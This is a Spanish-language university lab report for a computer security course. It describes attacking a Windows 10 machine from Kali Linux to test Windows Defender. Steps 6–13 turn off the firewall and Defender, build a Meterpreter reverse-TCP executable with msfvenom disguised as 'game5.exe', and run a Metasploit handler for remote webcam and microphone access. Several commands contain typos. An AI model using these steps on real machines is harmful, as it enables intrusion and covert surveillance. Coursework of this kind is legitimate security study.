UNIVERSIDAD LUTERANA SALVADOREÑA
FACULTAD DE CIENCIAS DEL HOMBRE Y LA NATURALEZA
LICENCIATURA EN CIENCIAS DE LA COMPUTACIÓN

TEMA:

CONTROL DE ACCESO

INTEGRANTES:

JOSUÉ MEDARDO AYALA RODRÍGUEZ

RONALD MAURICIO LÓPEZ HERNÁNDEZ

CRISTIAN OMAR LÓPEZ HERNÁNDEZ

JOSÉ ABEL DELCID RIVAS

ASIGNATURA:

SEGURIDAD INFORMÁTICA

DOCENTE:

EDUARDO CHACHAGUA

CICLO/AÑO:

I/22

INTRODUCCION

En el siguiente trabajo presentaremos la efectividad y protección que nos ofrece Windows defender, esto se realizara haciendo un ataque desde Kali Linux a Windows 10 tomando en cuenta los métodos y técnicas comprendidos en clase.

Objetivos:

General:

poner a prueba el producto Windows defender para comprobar el nivel de seguridad.

Específicos:

1- Vulnerar el sistema operativo Windows 10.

2- Demostrar que Windows defender cumple lo que promete.

DESARROLLO:

1- Acceder a la terminar de Kali Linux

2- Ingresar como usuario root con el comando (sudo su)

3- Comprobamos nuestra ip con el comando (ip a)

4- Obtenemos la ip de Windows 10 desde el CMD de Windows con el comando (ip config)

5- Ingresamos a la terminal de Linux e ingresamos el comando (ping –c)continuando con la ip de Windows

6- Luego se configura firewall de Windows defender y se desactiva

7- Se crea un archivo ejecutable con el comando (msfvenom –p Windows/meterpreter/reverse_tcp LHOST=ip de Windows LPORT= puerto de Windows –f exe< game5.exe

8- Acceder a la consola de metasploit con el comando (msfconsole)

9- Ejecutamos el comando (use espoit/multi/handler

10- Abrir una Shell remota del protocolo tcp con el comando (set paiload windows/ meterprer reverse_tcp)

11- Ingresamos (set LHOST y el puerto de Windows e ingresamos (set lport y puerto de windows

12- Luego se envía el archivo al sistema operativo Windows 10 y la maquina con Windows 10 cuando ejecute el archivo enviara al equipo de kali Linux la conexión atravez del puerto y lo hacemos atravez del comando (exploit-j)

13- Con el comando (sesssion) podemos ver la información del equipo y con el comando (sesssion 1) podemos acceder al sistema operativo y podremos tener acceso al micrófono a la webcam y muchas otras cosas.

Conclusiones

1- Al final del proceso se comprueba que Windows defender es efectivo ya que para poder acceder al sistema operativo Windows 10 se debió desactivar la protección que nos brinda haci como también se tuvo que configurar el firewall y desactivarlo.

2- Al momento de ejecutar el archivo infectado que creamos desde Kali Linux y enviamos a través de drive hacia Windows mientras no teníamos Windows defender desactivado nos alertó sobre un posible virus y nos bloque el archivo dejando de ejecutarlo por tanto sin tener acceso físico al sistema operativo Windows 10 se torna difícil acceder a dicho sistema adentrando así al control de acceso haci como también el firewall

Anexos

https://drive.google.com/drive/folders/1xVUUD0uhgAyLnepyGKwdR6QBehGvhy6c?usp=sharing